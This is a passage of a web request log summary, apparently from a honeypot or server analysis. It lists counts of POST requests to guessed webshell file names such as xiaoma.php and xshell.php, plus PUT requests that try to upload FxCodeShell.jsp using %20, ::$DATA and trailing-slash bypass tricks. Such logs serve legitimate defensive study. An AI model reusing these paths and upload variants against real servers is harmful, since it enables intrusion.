| 3 | POST | /ww.php | HTTP/1.1 |
| 3 | POST | /www.php | HTTP/1.1 |
| 3 | POST | /xiaobin.php | HTTP/1.1 |
| 3 | POST | /xiaodai.php | HTTP/1.1 |
| 3 | POST | /xiaohei.php | HTTP/1.1 |
| 3 | POST | /xiaomae.php | HTTP/1.1 |
| 3 | POST | /xiaoma.php | HTTP/1.1 |
| 3 | POST | /xiaomar.php | HTTP/1.1 |
| 3 | POST | /xiaomo.php | HTTP/1.1 |
| 3 | POST | /xiao.php | HTTP/1.1 |
| 3 | POST | /xiaoxi.php | HTTP/1.1 |
| 3 | POST | /xiaoyu.php | HTTP/1.1 |
| 12 | POST | /x.php | HTTP/1.1 |
| 3 | POST | /xp.php | HTTP/1.1 |
| 3 | POST | /xshell.php | HTTP/1.1 |
| 3 | POST | /xw1.php | HTTP/1.1 |
| 3 | POST | /xw.php | HTTP/1.1 |
| 6 | POST | /xx.php | HTTP/1.1 |
| 3 | POST | /xxx.php | HTTP/1.1 |
| 3 | POST | /xxxx.php | HTTP/1.1 |
| 3 | POST | /xz.php | HTTP/1.1 |
| 3 | POST | /yao.php | HTTP/1.1 |
| 3 | POST | /yj.php | HTTP/1.1 |
| 3 | POST | /yumo.php | HTTP/1.1 |
| 6 | POST | /z.php | HTTP/1.1 |
| 3 | POST | /zshmindex.php | HTTP/1.1 |
| 3 | POST | /zuoindex.php | HTTP/1.1 |
| 3 | POST | /zuo.php | HTTP/1.1 |
| 3 | POST | /zuoshou.php | HTTP/1.1 |
| 3 | POST | /zuoshss.php | HTTP/1.1 |
| 3 | POST | /zuos.php | HTTP/1.1 |
| 3 | POST | /zuoss.php | HTTP/1.1 |
| 3 | POST | /zxc0.php | HTTP/1.1 |
| 6 | POST | /zxc1.php | HTTP/1.1 |
| 3 | POST | /zxc2.php | HTTP/1.1 |
| 3 | POST | /zzk.php | HTTP/1.1 |
| 3 | POST | /zzz.php | HTTP/1.1 |
| 1 | PUT | /FxCodeShell.jsp%20 | HTTP/1.1 |
| 1 | PUT | /FxCodeShell.jsp::$DATA | HTTP/1.1 |
| 1 | PUT | /FxCodeShell.jsp/ | HTTP/1.1 |
| 1 | \x03 | - | - |
